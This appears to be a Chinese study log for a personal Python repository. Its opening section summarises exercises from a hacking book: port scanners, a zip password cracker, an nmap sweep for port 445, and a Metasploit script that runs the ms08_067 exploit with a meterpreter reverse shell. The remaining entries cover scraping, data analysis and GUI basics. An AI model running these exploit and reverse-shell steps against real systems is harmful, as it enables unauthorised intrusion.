###20160510 python 灰帽编程 3
ip、port扫描器；生成ip段。 ###20160510 python 灰帽编程 4
解析域名，生成用户名-口令 字典，包括根据域名生成的用户名口令。 ###20160705 python绝技 ####retBanner.py socket扫描ip，port，通过返回的banner查询vulnerable.txt ####zippass.py zFile = zipfile.ZipFile('evil.zip', 'r') zFile.extractall(pwd='password') 使用多线程： t = Thread(target = functionname, args = (args)) t.start ####4scanner.py argparse解析命令行参数 参数用-h会与默认的帮助的-h冲突 命令行下运行时需要使用python name.py --portlist --后的是变量名 nargs = '*' 可是多个变量（端口）

  def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts

####2-5-conficker.py 使用python nmap发现主机（扫描）

  def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
    return tgtHosts

使用python为metasploit配置.rc文件，操作metasploit：

configFile.write('use exploit/windows/smb/psexec\n')
  ...
  configFile = open('meta.rc', 'w')

####2-6-freeFloat.py 写PoC

  use exploit/windows/smb/ms08_067_netapi
  set RHOST 192.168.1.37
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST 192.168.77.77
  set LPORT 7777
  exploit –j –z

为了利用Metasploit的攻击，我们选择我们的Exploit(exploit/windows/smb/ms08_067_netapi)，然后设置目标为192.168.1.37。接下来我们指定攻击荷载为windows/meterpreter/reverse_tcp选择反向连接到我们的192.168.77.77的7777端口上，最后我们告诉Metasploit开始攻击系统。保存配置文件为conficker.rc，我们可以通过命令 msfconsole -r conficker.rc 来启动我们的攻击。这个命令会告诉Metasploit根据conficker.rc来启动攻击。如果成功，我们的攻击会返回一个命令行Shell来控制对方电脑。

####32recycle.py 用Python 将用户的SID 关联起来:通过检查 Windows 注册表键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList<SID>\ProfileImagePath，我们可以看到它返回 一个是%SystemDrive%\Documents and Settings<USERID>。在下图中，我 们看到这允许我们将SID 为S-1-5-21-1275210071-1715567821-725345543- 1005 转化为用户名“alex”。

key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\" + sid)
            (value, type) = _winreg.QueryValueEx(key, "ProfileImagePath")
            user = value.split('\\')[-1]

###20161204 使用python抓取并分析数据—链家网(requests+BeautifulSoup) http://bluewhale.cc/2016-12-04/use-python-crawl-and-analysis-data-lianjia-requests-and-beautifulsoup.html scipy的安装问题【scipy-0.15.1-win32-superpack-python2.7.exe安装包】 pandas入门 http://pda.readthedocs.io/en/latest/chp5.html sklearn 是一个 Python 的 科学计算库，提供了数种聚类算法可供选择；numpy、scipy 是 Python 的科学运算库，matplotlib 是图形库，用于绘图。http://www.jianshu.com/p/93c03a09d689 ###20161220 renrendai爬虫与贷款数据分析 画图，pandas中数据的分类统计；

#按贷款目的汇总贷款笔数
title_count=rrd.groupby('title')['amount'].agg('count')

###20161227 python机器学习sklearn 官方例子：\learn-python\sklearn\plot_digits_classification.py from sklearn import datasets 自带数据集 digits = datasets.load_digits() 手写数字数据 SVM分类，前一半训练，后一半预测（分类）

# Create a classifier: a support vector classifier
classifier = svm.SVC(gamma=0.001)
# We learn the digits on the first half of the digits
classifier.fit(data[:n_samples / 2], digits.target[:n_samples / 2])
# Now predict the value of the digit on the second half:
expected = digits.target[n_samples / 2:]
predicted = classifier.predict(data[n_samples / 2:])

画图

#使用方法：subplot（m,n,p）subplot是将多个图画到一个平面上的工具。
# 其中，m表示是图排成m行，n表示图排成n列，也就是整个figure中有n个图是排成一行的，
# 一共m行，如果m=2就是表示2行图。p表示图所在的位置，p=1表示从左到右从上到下的第一个位置。
plt.subplot(4, 7, index + 15)

###20170221 NYC_Taxi 使用Python分析纽约出租车搭乘数据 Read more: http://bluewhale.cc/#ixzz4ZIpKZQqW pd操作 ###20170222 lianjia_spider 网上的一个链家爬虫，还未测试 ###20170223 pygame 未完成 ###20170224 socket 用python实现的socket通信 python socket编程详细介绍 http://blog.csdn.net/rebelqsp/article/details/22109925 Python Socket 网络编程 http://www.cnblogs.com/hazir/p/python_socket_programming.html input()与raw_input()：最好用raw_input(); 用socket.sendall();

###20170404 花瓣网图片爬虫 好！！！ learn-python\qiubai_crawler、4_grab_huaban_board.py 不错的代码，print color函数；多线程； ```python #get ajax pin data 异步（下拉加载更多） url = "http://huaban.com/boards/%s/?max=%s&limit=100&wfl=1" %(board, pins[-1])

# 详细使用文档请参考: http://www.saintic.com/blog/204.html
# user（用户） 下有 board（画板），再下有pin（图片）
# http://huaban.com/boards/%s/?limit=100 在下拉加载更多的页面上直接请求100个
# url = "http://huaban.com/boards/%s/?max=%s&limit=100&wfl=1" %(board, pins[-1]) 请求到max=pins[-1]个 即最后一个。最多100个
```

###scan_ips_ports结合了正则、socket等的简单扫描器

###toutiao spider 通过保存toutiao的图片学用mongodb

###CmdPipe 输出重定向、logging模块

###20170510 调用shodan

###20170510 Scanless 使用以下几个网站进行扫描：

###20170515 smart_login [转] 本项目用于研究和分享各大网站的模拟登陆方式,主要使用selenium+phantomjs或者直接登录的方式,语言采用Python 可以在登录过后得到的cookie维护起来，然后调用requests或者scrapy等进行数据采集，这样数据采集的速度可以得到保证。

###20170519 data_analyse\tableau 蓝鲸的网站分析笔记 使用python和tableau对数据进行抓取及可视化 http://bluewhale.cc/2017-05-05/use-python-and-tableau-to-capture-and-visualize-the-data.html

from PIL import Image  # sudo pip install pillow

有限状态机，矩阵转置、列表遍历等基本数据操作

分析了最新的返回数据格式。

调用高德API index.html代码可能过时，功能未实现。待研习其代码。

Pillow 模块 向量空间图像识别：你有 3 篇文档，我们要怎么计算它们之间的相似度呢？2 篇文档所使用的相同的单词越多，那这两篇文章就越相似！但是这单词太多怎么办，就由我们来选择几个关键单词，选择的单词又被称作特征，每一个特征就好比空间中的一个维度（x，y，z 等），一组特征就是一个矢量，每一个文档我们都能得到这么一个矢量，只要计算矢量之间的夹角就能得到文章的相似度了。

Gephi是一款开源免费跨平台基于JVM的复杂网络分析复杂网络分析软件,，其主要用于各种网络和复杂系统，动态和分层图的交互可视化与探测开源工具。 py程序生成了节点数据和节点间边的数据（带weight），导入Gephi后可进行可视化。有节点大小、颜色、边的粗细，以及动态效果。

	# 设置窗口标题
	self.setWindowTitle('My First App')
	# 设置标签
	label = QLabel('Welcome to Shiyanlou!')
# 创建应用实例，通过 sys.argv 传入命令行参数
app = QApplication(sys.argv)
# 创建窗口实例
window = MainWindow()
# 显示窗口
window.show()
# 执行应用，进入事件循环
app.exec_()